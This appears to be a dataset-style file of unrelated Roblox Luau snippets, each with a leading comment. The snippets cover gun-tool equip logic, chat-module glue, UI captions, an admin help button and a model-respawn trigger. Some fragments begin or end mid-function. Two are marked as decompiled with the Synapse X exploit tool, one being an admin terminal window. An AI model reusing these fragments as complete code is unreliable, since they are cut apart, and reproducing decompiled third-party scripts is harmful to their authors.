return function(data, env) if env then setfenv(1, env) end local playergui = service.PlayerGui local localplayer = service.Players.LocalPlayer local gui = service.New("ScreenGui") local toggle = service.New("ImageButton", gui) local gTable = client.UI.Register(gui) if client.UI.Get("HelpButton", gui, true) then gui:Destroy() gTable:Destroy() return nil end gTable.Name = "HelpButton" gTable.CanKeepAlive = false toggle.Name = "Toggle" toggle.BackgroundTransparency = 1 toggle.Position = UDim2.new(1, -45, 1, -45) toggle.Size = UDim2.new(0, 40, 0, 40) toggle.Image = "http://www.roblox.com/asset/?id=7059706594" toggle.ImageTransparency = 0 --if client.UI.Get("Chat") then -- toggle.Position = UDim2.new(1, -(45+40),1, -45) --end toggle.MouseButton1Down:Connect(function() local found = client.UI.Get("UserPanel",nil,true) if found then found.Object:Destroy() else client.UI.Make("UserPanel",{}) end end) gTable:Ready() end
--Gauge
MakeWeld(car.Misc.Tach.M,car.DriveSeat,"Motor").Name="M" ModelWeld(misc.Tach.Parts,misc.Tach.M) MakeWeld(car.Misc.Speedo.N,car.DriveSeat,"Motor").Name="N" ModelWeld(misc.Speedo.Parts,misc.Speedo.N)
-- Decompiled with the Synapse X Luau decompiler.
task.wait(1); local l__Assets__1 = game:GetService("ReplicatedStorage"):WaitForChild("SharedModules", 100); local l__Events__2 = game:GetService("Players").LocalPlayer.PlayerScripts:WaitForChild("Events", 100); local v3 = require(l__Assets__1.CameraClass); local l__CurrentCamera__1 = workspace.CurrentCamera; local v5 = v3.new(1000, function(p1) l__CurrentCamera__1.CFrame = l__CurrentCamera__1.CFrame * p1; end); v5:Start(); l__Events__2.shake.Event:Connect(function(p2, ...) if p2 == "presets" then v5:Shake(v3.Presets[...]); return; end; if p2 == "once" then v5:ShakeOnce(...); end; end);
-- Customization
AntiTK = false; -- Set to false to allow TK and damaging of NPC, true for no TK. (To damage NPC, this needs to be false) MouseSense = 0.5; CanAim = true; -- Allows player to aim CanBolt = true; -- When shooting, if this is enabled, the bolt will move (SCAR-L, ACR, AK Series) LaserAttached = true; LightAttached = true; TracerEnabled = true; SprintSpeed = 25; CanCallout = false; SuppressCalloutChance = 0;
-- ключ значений у игрока в DataStore2
local DS2key = script.Parent.Parent.Name -- "MaxHeight1" local clickDetector = script.Parent.ClickDetector function onMouseClick(plr) -- для игрока plr, для ключа, изменить на 1 module.Update(plr, DS2key, 1) end clickDetector.MouseClick:Connect(onMouseClick)
-- Open:Play()
script.Parent.Handle.sound_open:Play() script.Parent.EffectsHolder.AttachOn.SparkParticles.Enabled = true script.Parent.EffectsHolder.AttachOn.SparkParticles.Enabled = false script.Parent.EffectsHolder.AttachOn.MainLight.Enabled = true script.Parent.EffectsHolder.AttachOn.SmallLight.Enabled = true script.Parent.EffectsHolder.AttachOn.SmallLight2.Enabled = true script.Parent.EffectsHolder.AttachOn.SmallLight3.Enabled = true script.Parent.EffectsHolder.AttachOn.FireParticles.Enabled = true
--game:GetService'ReplicatedStorage':WaitForChild'Count':FireServer(fold, countNum) causing server issues, will be done later
game:GetService'ReplicatedStorage':WaitForChild'Save':FireServer(fold)
-------------------------------------------------------------------------------------- --------------------[ TOOL SELECTION AND DESELECTION ]-------------------------------- --------------------------------------------------------------------------------------
function onEquipped() wait() if Humanoid.Health ~= 0 and (not Selected) and Gun.Parent == Char then Selected = true breakReload = false equipAnimPlaying = true math.randomseed(tick()) --This sets a new seed for the random function each time you select the gun --------------------[ FAILSAFE RESETING ]------------------------------------- for _, GM in pairs(ignoreModel:GetChildren()) do if GM.Name == "gunIgnore_"..Player.Name then GM:Destroy() end end for _, c in pairs(Connections) do c:disconnect() end Connections = {} --------------------[ REMOTE GUN SETUP ]-------------------------------------- --[[local Vars = { ignoreModel = ignoreModel; Humanoid = Humanoid; Shoulders = Shoulders; Torso = Torso; Head = Head; armC0 = armC0; leftArmC1 = S.equipSettings.leftArmC1; rightArmC1 = S.equipSettings.rightArmC1; LArm = LArm; RArm = RArm; gunParts = gunParts; Handle = Handle; } gunIgnore, playerFolder, headWeld, headWeld2, animWeld, ABWeld, LWeld, RWeld, LWeld2, RWeld2, LLegWeld, RLegWeld, gunParts2 = gunSetup:InvokeServer(Vars)]] --------------------[ CREATING IGNORE MODELS ]-------------------------------- gunIgnore = Instance.new("Model") gunIgnore.Name = "gunIgnore_"..Player.Name gunIgnore.Parent = ignoreModel --------------------[ MODIFYING THE PLAYER ]---------------------------------- Player.CameraMode = Enum.CameraMode.LockFirstPerson Cam.CameraType = Enum.CameraType.Scriptable Cam.FieldOfView = 80 UIS.MouseBehavior = Enum.MouseBehavior.LockCenter UIS.MouseIconEnabled = false local initialX, initialY = getYawPitch(Cam.CoordinateFrame) camAng = -VEC2(initialX, initialY) mainGUI.Parent = Player.PlayerGui setUpGUI() updateHealth() if S.selectFire then local currentMode = Modes[((rawFireMode - 1) % numModes) + 1] if currentMode == "AUTO" then fireFunction = autoFire elseif currentMode == "BURST" then fireFunction = burstFire elseif currentMode == "SEMI" then fireFunction = semiFire else fireFunction = nil end else if S.gunType.Semi then fireFunction = semiFire elseif S.gunType.Auto then fireFunction = autoFire elseif S.gunType.Burst then fireFunction = burstFire else fireFunction = nil end end changePlayerTrans(Char, 1) Humanoid.AutoRotate = false Shoulders.Right.Part1 = nil Shoulders.Left.Part1 = nil playerFolder = Instance.new("Model") playerFolder.Name = "playerFolder" playerFolder.Parent = gunIgnore local headBase = Instance.new("Part") headBase.Transparency = 1 headBase.Name = "headBase" headBase.CanCollide = false headBase.FormFactor = Enum.FormFactor.Custom headBase.Size = V3(0.2, 0.2, 0.2) headBase.BottomSurface = Enum.SurfaceType.Smooth headBase.TopSurface = Enum.SurfaceType.Smooth headBase.Parent = playerFolder headWeld = Instance.new("Weld") headWeld.Part0 = Torso headWeld.Part1 = headBase headWeld.C0 = CF(0, 1.5, 0) headWeld.Parent = Torso headWeld2 = Instance.new("Weld") headWeld2.Part0 = headBase headWeld2.Part1 = Head headWeld2.Parent = headBase neckClone = Neck:Clone() --[[local stanceBase = Instance.new("Part") stanceBase.Transparency = 1 stanceBase.Name = "stanceBase" stanceBase.CanCollide = false stanceBase.FormFactor = Enum.FormFactor.Custom stanceBase.Size = V3(0.2, 0.2, 0.2) stanceBase.BottomSurface = Enum.SurfaceType.Smooth stanceBase.TopSurface = Enum.SurfaceType.Smooth stanceBase.Parent = playerFolder stanceWeld = Instance.new("Weld") stanceWeld.Part0 = stanceBase stanceWeld.Part1 = Torso stanceWeld.Parent = stanceBase]] local animBase = Instance.new("Part") animBase.Transparency = 1 animBase.Name = "animBase" animBase.CanCollide = false animBase.FormFactor = Enum.FormFactor.Custom animBase.Size = V3(0.2, 0.2, 0.2) animBase.BottomSurface = Enum.SurfaceType.Smooth animBase.TopSurface = Enum.SurfaceType.Smooth animBase.Parent = playerFolder animWeld = Instance.new("Weld") animWeld.Part0 = animBase animWeld.Part1 = headBase animWeld.Parent = animBase local ArmBase = Instance.new("Part") ArmBase.Transparency = 1 ArmBase.Name = "ArmBase" ArmBase.CanCollide = false ArmBase.FormFactor = Enum.FormFactor.Custom ArmBase.Size = V3(0.2, 0.2, 0.2) ArmBase.BottomSurface = Enum.SurfaceType.Smooth ArmBase.TopSurface = Enum.SurfaceType.Smooth ArmBase.Parent = playerFolder ABWeld = Instance.new("Weld") ABWeld.Part0 = ArmBase ABWeld.Part1 = animBase ABWeld.Parent = ArmBase local LArmBase = Instance.new("Part") LArmBase.Transparency = 1 LArmBase.Name = "LArmBase" LArmBase.CanCollide = false LArmBase.FormFactor = Enum.FormFactor.Custom LArmBase.Size = V3(0.2, 0.2, 0.2) LArmBase.BottomSurface = Enum.SurfaceType.Smooth LArmBase.TopSurface = Enum.SurfaceType.Smooth LArmBase.Parent = playerFolder local RArmBase = Instance.new("Part") RArmBase.Transparency = 1 RArmBase.Name = "RArmBase" RArmBase.CanCollide = false RArmBase.FormFactor = Enum.FormFactor.Custom RArmBase.Size = V3(0.2, 0.2, 0.2) RArmBase.BottomSurface = Enum.SurfaceType.Smooth RArmBase.TopSurface = Enum.SurfaceType.Smooth RArmBase.Parent = playerFolder LWeld = Instance.new("Weld") LWeld.Name = "LWeld" LWeld.Part0 = ArmBase LWeld.Part1 = LArmBase LWeld.C0 = armC0[1] LWeld.C1 = S.equipSettings.leftArmC1 LWeld.Parent = ArmBase RWeld = Instance.new("Weld") RWeld.Name = "RWeld" RWeld.Part0 = ArmBase RWeld.Part1 = RArmBase RWeld.C0 = armC0[2] RWeld.C1 = S.equipSettings.rightArmC1 RWeld.Parent = ArmBase LWeld2 = Instance.new("Weld") LWeld2.Name = "LWeld" LWeld2.Part0 = LArmBase LWeld2.Part1 = LArm LWeld2.Parent = LArmBase RWeld2 = Instance.new("Weld") RWeld2.Name = "RWeld" RWeld2.Part0 = RArmBase RWeld2.Part1 = RArm RWeld2.Parent = RArmBase LLegWeld = Instance.new("Weld") LLegWeld.Name = "LLegWeld" LLegWeld.Part0 = Torso LLegWeld.Part1 = nil LLegWeld.C0 = CF(-0.5, -2, 0) LLegWeld.Parent = Torso RLegWeld = Instance.new("Weld") RLegWeld.Name = "RLegWeld" RLegWeld.Part0 = Torso RLegWeld.Part1 = nil RLegWeld.C0 = CF(0.5, -2, 0) RLegWeld.Parent = Torso if S.playerArms then armModel = Instance.new("Model", workspace.FilteringEnabled and playerFolder or Cam) fakeLArm = LArm:Clone() fakeLArm.Parent = armModel fakeLArm.Transparency = S.fakeArmSettings.Transparency fakeLArm.CanCollide = false fakeLArm.Size = S.fakeArmSettings.armSize fakeLArm:BreakJoints() --LArm.Transparency = 1 local fakeLWeld = Instance.new("Weld") fakeLWeld.Part0 = fakeLArm fakeLWeld.Part1 = LArm fakeLWeld.Parent = fakeLArm fakeRArm = RArm:Clone() fakeRArm.Parent = armModel fakeRArm.Transparency = S.fakeArmSettings.Transparency fakeRArm.CanCollide = false fakeRArm.Size = S.fakeArmSettings.armSize fakeRArm:BreakJoints() --RArm.Transparency = 1 local fakeRWeld = Instance.new("Weld") fakeRWeld.Part0 = fakeRArm fakeRWeld.Part1 = RArm fakeRWeld.Parent = fakeRArm Instance.new("Humanoid", armModel) if S.fakeArmSettings.characterMeshes then for _,Obj in pairs(Char:GetChildren()) do if Obj:IsA("CharacterMesh") then Obj:Clone().Parent = armModel end end end for _,Obj in pairs(Char:GetChildren()) do if Obj:IsA("Shirt") then Obj:Clone().Parent = armModel end end else armTable = createArms() if workspace.FilteringEnabled then armTable[1].Model.Parent = playerFolder armTable[2].Model.Parent = playerFolder else armTable[1].Model.Parent = Cam--playerFolder armTable[2].Model.Parent = Cam--playerFolder end fakeLArm = armTable[1].armPart --LArm.Transparency = 1 local fakeLWeld = Instance.new("Weld") fakeLWeld.Part0 = fakeLArm fakeLWeld.Part1 = LArm fakeLWeld.Parent = fakeLArm fakeRArm = armTable[2].armPart --RArm.Transparency = 1 local fakeRWeld = Instance.new("Weld") fakeRWeld.Part0 = fakeRArm fakeRWeld.Part1 = RArm fakeRWeld.Parent = fakeRArm end --------------------[ MODIFYING THE GUN ]------------------------------------- for _, Tab in pairs(gunParts) do local Weld = Instance.new("Weld") Weld.Name = "MainWeld" Weld.Part0 = Handle Weld.Part1 = Tab.Obj Weld.C0 = Tab.Obj.weldCF.Value Weld.Parent = Handle Tab.Weld = Weld end Grip = RArm:WaitForChild("RightGrip") local handleCF = Torso.CFrame * CF(0, 0.5, 0) * armC0[2] * S.aimedC1.rightArm:inverse() * Grip.C0 local handleOffset = AimPart.CFrame:toObjectSpace(Handle.CFrame) aimedGripCF = ((Torso.CFrame * CF(headOffset.X, headOffset.Y, 0)) * handleOffset):toObjectSpace(handleCF) Grip.C1 = S.equipSettings.GripC1 --------------------[ RUNNING PLUGINS ]--------------------------------------- for _, Plugin in pairs(Plugins.OnEquipped) do spawn(function() Plugin() end) end --------------------[ GETTING PLAYER MASS ]----------------------------------- local connectedParts = HRP:GetConnectedParts(true) for _, v in pairs(connectedParts) do if v:IsA("BasePart") then playerMass = playerMass + v:GetMass() end end --------------------[ CONNECTIONS ]------------------------------------------- INSERT(Connections, Humanoid.Died:connect(function() onUnequipped(true) end)) INSERT(Connections, Humanoid.Jumping:connect(function() if Stance ~= 0 then Stand() end end)) INSERT(Connections, Humanoid.StateChanged:connect(onHumanoidStateChanged)) INSERT(Connections, Humanoid.HealthChanged:connect(updateHealth)) INSERT(Connections, M2.Button1Down:connect(onMB1Down)) INSERT(Connections, M2.Button1Up:connect(onMB1Up)) INSERT(Connections, M2.Button2Down:connect(onMB2Down)) INSERT(Connections, M2.Button2Up:connect(onMB2Up)) INSERT(Connections, M2.KeyDown:connect(keyDown)) INSERT(Connections, M2.KeyUp:connect(keyUp)) if S.sensitivitySettings.scrollToChange then INSERT(Connections, M2.WheelForward:connect(onScrollUp)) INSERT(Connections, M2.WheelBackward:connect(onScrollDown)) end if S.AutoKnife then INSERT(Connections, RS.Stepped:connect(function() local H, P = AdvRayCast(Head.CFrame.p, Head.CFrame.lookVector, S.AutoKnifeDist, nil) if H then local HitHuman = findFirstClass(H.Parent, "Humanoid") if HitHuman and isEnemy(HitHuman) and HitHuman.Health ~= 0 then Knife() end end end)) end INSERT(Connections, UIS.InputChanged:connect(function(inputObj) if inputObj.UserInputType == Enum.UserInputType.MouseMovement then local rawCamAng = camAng - (VEC2(RAD(inputObj.Delta.x), RAD(inputObj.Delta.y)) * mouseSensitivity * 0.25) camAng = VEC2(rawCamAng.x, (rawCamAng.y > RAD(80) and RAD(80) or rawCamAng.y < RAD(-80) and RAD(-80) or rawCamAng.y)) desiredXOffset = math.min(math.max(inputObj.Delta.x, -S.momentumSettings.maxInput), S.momentumSettings.maxInput) desiredYOffset = math.min(math.max(inputObj.Delta.y, -S.momentumSettings.maxInput), S.momentumSettings.maxInput) end end)) INSERT(Connections, M2.Idle:connect(function(inputObj) desiredXOffset = 0 desiredYOffset = 0 end)) INSERT(Connections, RS.Stepped:connect(function() if tick() - lastBeat > (Humanoid.Health / 75) then lastBeat = tick() HUD.Health.Tray.Beat:TweenPosition( UDim2.new(0, -21, 0, 0), Enum.EasingDirection.Out, Enum.EasingStyle.Linear, 0.7 - ((100 - Humanoid.Health) / 400), false, function() HUD.Health.Tray.Beat.Position = UDim2.new(1, 0, 0, 0) end ) end end)) INSERT(Connections, RS.RenderStepped:connect(function() --Main animation local animC0, animC1 = getAnimCF() animWeld.C0 = animC0 animWeld.C1 = animC1 --Camera updating renderCamera() end)) --------------------[ ANIMATE GUN ]------------------------------------------- tweenJoint(LWeld, nil, S.unAimedC1.leftArm, Sine, S.equipSettings.Time) tweenJoint(RWeld, nil, S.unAimedC1.rightArm, Sine, S.equipSettings.Time) tweenJoint(Grip, nil, S.unAimedC1.Grip, Sine, S.equipSettings.Time) spawn(function() local T = tick() while true do if tick() - T > S.equipSettings.Time then break end if (not Selected) then break end wait() end equipAnimPlaying = false end) Animate() end end function onUnequipped(deleteTool) if Selected then Selected = false breakReload = true --------------------[ RUNNING PLUGINS ]--------------------------------------- for _, Plugin in pairs(Plugins.OnUnEquipped) do spawn(function() Plugin() end) end --------------------[ MODIFYING THE PLAYER ]---------------------------------- Cam.FieldOfView = 70 Cam.CameraType = Enum.CameraType.Custom UIS.MouseBehavior = Enum.MouseBehavior.Default UIS.MouseIconEnabled = true Player.CameraMode = Enum.CameraMode.Classic if armTable then armTable[1].Model:Destroy() armTable[2].Model:Destroy() elseif armModel then armModel:Destroy() end LLegWeld:Destroy() RLegWeld:Destroy() changePlayerTrans(Char, 0) mainGUI.Parent = script Shoulders.Right.Part1 = RArm Shoulders.Left.Part1 = LArm neckClone.Parent = Torso headWeld:Destroy() Humanoid.WalkSpeed = 16 Humanoid.AutoRotate = true --------------------[ RESETING THE TOOL ]------------------------------------- gunIgnore:Destroy() mouseSensitivity = S.sensitivitySettings.Default MB1Down = false playerMass = 0 Aimed = false camOffsets = { guiScope = { Rot = V3(); }; Reload = { Rot = V3(); Code = nil; }; Recoil = { Rot = V3(); Code = nil; }; } recoilAnim = { Pos = V3(); Rot = V3(); Code = nil; } --Setting the aim variables to unaimed spreadZoom = "unAimed" scopeMain.Visible = false scopeSteady.Visible = false aimAlpha = 0 aimHeadOffset = 0 jumpAnimMultiplier = 1 translationDivisor = 7 rotationMultiplier = S.momentumSettings.Amplitude.unAimed armTiltMultiplier = 1 Scope.BackgroundTransparency = 1 if S.guiScope then spawn(function() for _, Obj in pairs(Gun:GetChildren()) do if Obj:IsA("BasePart") then Obj.LocalTransparencyModifier = 0 end end end) end onGround = true for _, Tab in pairs(gunParts) do Tab.Weld:Destroy() Tab.Weld = nil end for _,c in pairs(Connections) do c:disconnect() end Connections = {} if deleteTool then Cam:ClearAllChildren() Gun:Destroy() end wait() --This is here in case you dolphin dived and deselected the tool instantly if S.stanceSettings.standOnDeselect and Stance ~= 0 then crawlCamRot = 0 isCrawling = false stanceSway = 1 spreadStance = "Stand" Stand(true) end baseSpread = S.spreadSettings[spreadZoom][spreadStance][spreadMotion] end end Gun.Equipped:connect(onEquipped) Gun.Unequipped:connect(function() onUnequipped(false) end)
----------------------
game.Players.PlayerAdded:connect(function(plr) repeat local userData = storage.LoadData(plr.UserId) wait(0.5) if not userData then end until userData == true end)
--//GUIs
local PlayButton = script.Parent.Parent.IntroGui.Frame.Play
--[=[ Uppercases the first letter of the string @param str string @return string ]=]
function String.uppercaseFirstLetter(str: string): string return str:gsub("^%a", string.upper) end
--[[** ensures Lua primitive coroutine type @param value The value to check against @returns True iff the condition is satisfied, false otherwise **--]]
t.coroutine = primitive("thread")
-- This will inject all types into this context.
local TypeDefs = require(script.Parent.TypeDefinitions) type CanPierceFunction = TypeDefs.CanPierceFunction type GenericTable = TypeDefs.GenericTable type Caster = TypeDefs.Caster type FastCastBehavior = TypeDefs.FastCastBehavior type CastTrajectory = TypeDefs.CastTrajectory type CastStateInfo = TypeDefs.CastStateInfo type CastRayInfo = TypeDefs.CastRayInfo type ActiveCast = TypeDefs.ActiveCast local typeof = require(script.Parent.TypeMarshaller)
-- Decompiled with the Synapse X Luau decompiler.
client = nil; service = nil; return function(p1) local v1 = client.UI.Make("Window", { Name = "Terminal", Title = "Terminal", Size = { 500, 300 }, AllowMultiple = false, OnClose = function() end }); local v2 = v1:Add("ScrollingFrame", { Size = UDim2.new(1, -10, 1, -40), BackgroundTransparency = 1, List = {} }); local v3 = v1:Add("TextBox", { Text = "", Size = UDim2.new(1, 0, 0, 30), Position = UDim2.new(0, 0, 1, -30), PlaceholderText = "Enter command", TextXAlignment = "Left" }); local function u1(p2, p3) table.insert(p3, p2); if #p3 > 500 then table.remove(p3, 1); end; end; local u2 = {}; v1:BindEvent(service.Events.TerminalLive, function(p4) local l__Type__4 = p4.Type; u1(p4.Data, u2); end); v3.FocusLost:connect(function(p5) service.Debounce("_TERMINAL_BOX_FOCUSLOST", function() if p5 and v3.Text ~= "" and v3.Text ~= "Enter command" then local l__Text__5 = v3.Text; v3.Text = ""; u1(">" .. l__Text__5, u2); local v6 = client.Remote.Get("Terminal", l__Text__5, { Time = tick() }); if v6 and type(v6) == "table" then for v7, v8 in ipairs(v6) do u1(v8, u2); end; end; v3:CaptureFocus(); end; wait(0.1); end); end); v1:Ready(); local v9 = 0; while v1.gTable.Active and wait(0.5) do if v9 < #u2 then v9 = #u2; v2:GenerateList(u2, nil, true); end; end; end;
--//////////////////////////////////////////////////////////////////////////////////////////// --///////////// Code to talk to topbar and maintain set/get core backwards compatibility stuff --////////////////////////////////////////////////////////////////////////////////////////////
local Util = {} do function Util.Signal() local sig = {} local mSignaler = Instance.new('BindableEvent') local mArgData = nil local mArgDataCount = nil function sig:fire(...) mArgData = {...} mArgDataCount = select('#', ...) mSignaler:Fire() end function sig:connect(f) if not f then error("connect(nil)", 2) end return mSignaler.Event:connect(function() f(unpack(mArgData, 1, mArgDataCount)) end) end function sig:wait() mSignaler.Event:wait() assert(mArgData, "Missing arg data, likely due to :TweenSize/Position corrupting threadrefs.") return unpack(mArgData, 1, mArgDataCount) end return sig end end function SetVisibility(val) ChatWindow:SetVisible(val) moduleApiTable.VisibilityStateChanged:fire(val) moduleApiTable.Visible = val if (moduleApiTable.IsCoreGuiEnabled) then if (val) then InstantFadeIn() else InstantFadeOut() end end end do moduleApiTable.TopbarEnabled = true moduleApiTable.MessageCount = 0 moduleApiTable.Visible = true moduleApiTable.IsCoreGuiEnabled = true function moduleApiTable:ToggleVisibility() SetVisibility(not ChatWindow:GetVisible()) end function moduleApiTable:SetVisible(visible) if (ChatWindow:GetVisible() ~= visible) then SetVisibility(visible) end end function moduleApiTable:FocusChatBar() ChatBar:CaptureFocus() end function moduleApiTable:EnterWhisperState(player) ChatBar:EnterWhisperState(player) end function moduleApiTable:GetVisibility() return ChatWindow:GetVisible() end function moduleApiTable:GetMessageCount() return self.MessageCount end function moduleApiTable:TopbarEnabledChanged(enabled) self.TopbarEnabled = enabled self.CoreGuiEnabled:fire(game:GetService("StarterGui"):GetCoreGuiEnabled(Enum.CoreGuiType.Chat)) end function moduleApiTable:IsFocused(useWasFocused) return ChatBar:IsFocused() end moduleApiTable.ChatBarFocusChanged = Util.Signal() moduleApiTable.VisibilityStateChanged = Util.Signal() moduleApiTable.MessagesChanged = Util.Signal() moduleApiTable.MessagePosted = Util.Signal() moduleApiTable.CoreGuiEnabled = Util.Signal() moduleApiTable.ChatMakeSystemMessageEvent = Util.Signal() moduleApiTable.ChatWindowPositionEvent = Util.Signal() moduleApiTable.ChatWindowSizeEvent = Util.Signal() moduleApiTable.ChatBarDisabledEvent = Util.Signal() function moduleApiTable:fChatWindowPosition() return ChatWindow.GuiObject.Position end function moduleApiTable:fChatWindowSize() return ChatWindow.GuiObject.Size end function moduleApiTable:fChatBarDisabled() return not ChatBar:GetEnabled() end function moduleApiTable:SpecialKeyPressed(key, modifiers) if (key == Enum.SpecialKey.ChatHotkey) then if canChat then DoChatBarFocus() end end end end moduleApiTable.CoreGuiEnabled:connect(function(enabled) moduleApiTable.IsCoreGuiEnabled = enabled enabled = enabled and (moduleApiTable.TopbarEnabled or ChatSettings.ChatOnWithTopBarOff) ChatWindow:SetCoreGuiEnabled(enabled) if (not enabled) then ChatBar:ReleaseFocus() InstantFadeOut() else InstantFadeIn() end end) function trimTrailingSpaces(str) local lastSpace = #str while lastSpace > 0 do --- The pattern ^%s matches whitespace at the start of the string. (Starting from lastSpace) if str:find("^%s", lastSpace) then lastSpace = lastSpace - 1 else break end end return str:sub(1, lastSpace) end moduleApiTable.ChatMakeSystemMessageEvent:connect(function(valueTable) if (valueTable["Text"] and type(valueTable["Text"]) == "string") then while (not DidFirstChannelsLoads) do wait() end local channel = ChatSettings.GeneralChannelName local channelObj = ChatWindow:GetChannel(channel) if (channelObj) then local messageObject = { ID = -1, FromSpeaker = nil, SpeakerUserId = 0, OriginalChannel = channel, IsFiltered = true, MessageLength = string.len(valueTable.Text), Message = trimTrailingSpaces(valueTable.Text), MessageType = ChatConstants.MessageTypeSetCore, Time = os.time(), ExtraData = valueTable, } channelObj:AddMessageToChannel(messageObject) ChannelsBar:UpdateMessagePostedInChannel(channel) moduleApiTable.MessageCount = moduleApiTable.MessageCount + 1 moduleApiTable.MessagesChanged:fire(moduleApiTable.MessageCount) end end end) moduleApiTable.ChatBarDisabledEvent:connect(function(disabled) if canChat then ChatBar:SetEnabled(not disabled) if (disabled) then ChatBar:ReleaseFocus() end end end) moduleApiTable.ChatWindowSizeEvent:connect(function(size) ChatWindow.GuiObject.Size = size end) moduleApiTable.ChatWindowPositionEvent:connect(function(position) ChatWindow.GuiObject.Position = position end)
--
local Utils = require(utilsModule) function Utils.GetAngleBetweenXZVectors(v1, v2) local upCFrame = lastUpCFrame -- this is kind of lame, but it works v1 = upCFrame:VectorToObjectSpace(v1) v2 = upCFrame:VectorToObjectSpace(v2) return math.atan2(v2.X*v1.Z-v2.Z*v1.X, v2.X*v1.X+v2.Z*v1.Z) end
--[=[ Adds the remote function mixin to a class ```lua local BaseObject = require("BaseObject") local Bird = setmetatable({}, BaseObject) Bird.ClassName = "Bird" Bird.__index = Bird require("PromiseRemoteFunctionMixin"):Add(Bird, "BirdRemoteFunction") function Bird.new(inst) local self = setmetatable(BaseObject.new(inst), Bird) self:PromiseRemoteFunction():Then(function(remoteFunction) task.spawn(function() remoteFunction:InvokeServer() -- or whatever end) end) return self end ``` @param class { _maid: Maid } @param remoteFunctionName string ]=]
function PromiseRemoteFunctionMixin:Add(class, remoteFunctionName) assert(type(class) == "table", "Bad class") assert(type(remoteFunctionName) == "string", "Bad remoteFunctionName") assert(not class.PromiseRemoteFunctionMixin, "Class already has PromiseRemoteFunctionMixin defined") assert(not class._remoteFunctionName, "Class already has _remoteFunctionName defined") class.PromiseRemoteFunction = self.PromiseRemoteFunction class._remoteFunctionName = remoteFunctionName end
-- Captions
DEFAULT_FORCED_GROUP_VALUES["caption"] = 1 function Icon:setCaption(text) assert(typeof(text) == "string" or text == nil, "Expected string, got "..typeof(text)) local realText = text or "" local isVisible = realText ~= "" self.captionText = text self.instances.captionLabel.Text = realText self.instances.captionContainer.Parent = (isVisible and activeItems) or self.instances.iconContainer self._maid.captionContainer = self.instances.captionContainer self:_updateIconSize(nil, self:getIconState()) local captionMaid = Maid.new() self._maid.captionMaid = captionMaid if isVisible then captionMaid:give(self.hoverStarted:Connect(function() if not self.isSelected then self:displayCaption(true) end end)) captionMaid:give(self.hoverEnded:Connect(function() self:displayCaption(false) end)) captionMaid:give(self.selected:Connect(function() if self.hovering then self:displayCaption(false) end end)) local iconContainer = self.instances.iconContainer captionMaid:give(iconContainer:GetPropertyChangedSignal("AbsoluteSize"):Connect(function() if self.hovering then self:displayCaption() end end)) captionMaid:give(iconContainer:GetPropertyChangedSignal("AbsolutePosition"):Connect(function() if self.hovering then self:displayCaption() end end)) end -- This adapts the caption size local CAPTION_X_MARGIN = 6 local CAPTION_CONTAINER_Y_SIZE_SCALE = 0.8 local CAPTION_LABEL_Y_SCALE = 0.58 local iconSize = self:get("iconSize") local labelFont = self:get("captionFont") if iconSize and labelFont then local cellSizeYOffset = iconSize.Y.Offset local cellSizeYScale = iconSize.Y.Scale local iconContainer = self.instances.iconContainer local captionContainer = self.instances.captionContainer if isVisible then local cellHeight = cellSizeYOffset + (cellSizeYScale * iconContainer.Parent.AbsoluteSize.Y) local captionLabel = self.instances.captionLabel local captionContainerHeight = cellHeight * CAPTION_CONTAINER_Y_SIZE_SCALE local captionLabelHeight = captionContainerHeight * CAPTION_LABEL_Y_SCALE local iconContentText = self:_getContentText(self.captionText) local textWidth = textService:GetTextSize(iconContentText, captionLabelHeight, labelFont, Vector2.new(10000, captionLabelHeight)).X captionLabel.TextSize = captionLabelHeight captionLabel.Size = UDim2.new(0, textWidth, CAPTION_LABEL_Y_SCALE, 0) captionContainer.Size = UDim2.new(0, textWidth + CAPTION_X_MARGIN*2, 0, cellHeight*CAPTION_CONTAINER_Y_SIZE_SCALE) else captionContainer.Size = UDim2.new(0, 0, 0, 0) end end self:displayCaption(self.hovering and isVisible) return self end function Icon:displayCaption(bool) if userInputService.TouchEnabled and not self._draggingFinger then return end local yOffset = 8 -- Determine caption position if self._draggingFinger then yOffset = yOffset + THUMB_OFFSET end local iconContainer = self.instances.iconContainer local captionContainer = self.instances.captionContainer local newPos = UDim2.new(0, iconContainer.AbsolutePosition.X+iconContainer.AbsoluteSize.X/2-captionContainer.AbsoluteSize.X/2, 0, iconContainer.AbsolutePosition.Y+(iconContainer.AbsoluteSize.Y*2)+yOffset) captionContainer.Position = newPos -- Determine caption visibility local isVisible = self.captionVisible or false if typeof(bool) == "boolean" then isVisible = bool end self.captionVisible = isVisible -- Change transparency of relavent caption instances local captionFadeInfo = self:get("captionFadeInfo") for _, settingName in pairs(self._groupSettings.caption) do local settingDetail = self._settingsDictionary[settingName] settingDetail.useForcedGroupValue = not isVisible self:_update(settingName) end end
-- Initialization
game.StarterGui.ResetPlayerGuiOnSpawn = false ScreenGui.Parent = Player:WaitForChild("PlayerGui")
-- To make this work, simply group it with the model you want!
local modelbackup = script.Parent.Parent:FindFirstChild(modelname):clone() local trigger = script.Parent enabled = true function onTouched(hit) if enabled == true then enabled = false --trigger.BrickColor = BrickColor.new("Really black") if script.Parent.Parent:FindFirstChild(modelname) ~= nil then script.Parent.Parent:FindFirstChild(modelname):Destroy() end wait(120) local modelclone = modelbackup:clone() modelclone.Parent = script.Parent.Parent modelclone:MakeJoints() wait(WaitTime) enabled = true --trigger.BrickColor = BrickColor.new("Bright violet") end end script.Parent.Touched:connect(onTouched)
-- print("Wha " .. pose)
stopAllAnimations() amplitude = 0.1 frequency = 1 setAngles = true end if (setAngles) then local desiredAngle = amplitude * math.sin(time * frequency) wait() end -- Tool Animation handling local tool = getTool() if tool and tool:FindFirstChild("Handle") then local animStringValueObject = getToolAnim(tool) if animStringValueObject then toolAnim = animStringValueObject.Value -- message recieved, delete StringValue animStringValueObject.Parent = nil toolAnimTime = time + .3 end if time > toolAnimTime then toolAnimTime = 0 toolAnim = "None" end animateTool() else stopToolAnimations() toolAnim = "None" toolAnimInstance = nil toolAnimTime = 0 end end
---------------------------------------------------------------------------------------------------- -----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------ ----------------------------------------------------------------------------------------------------
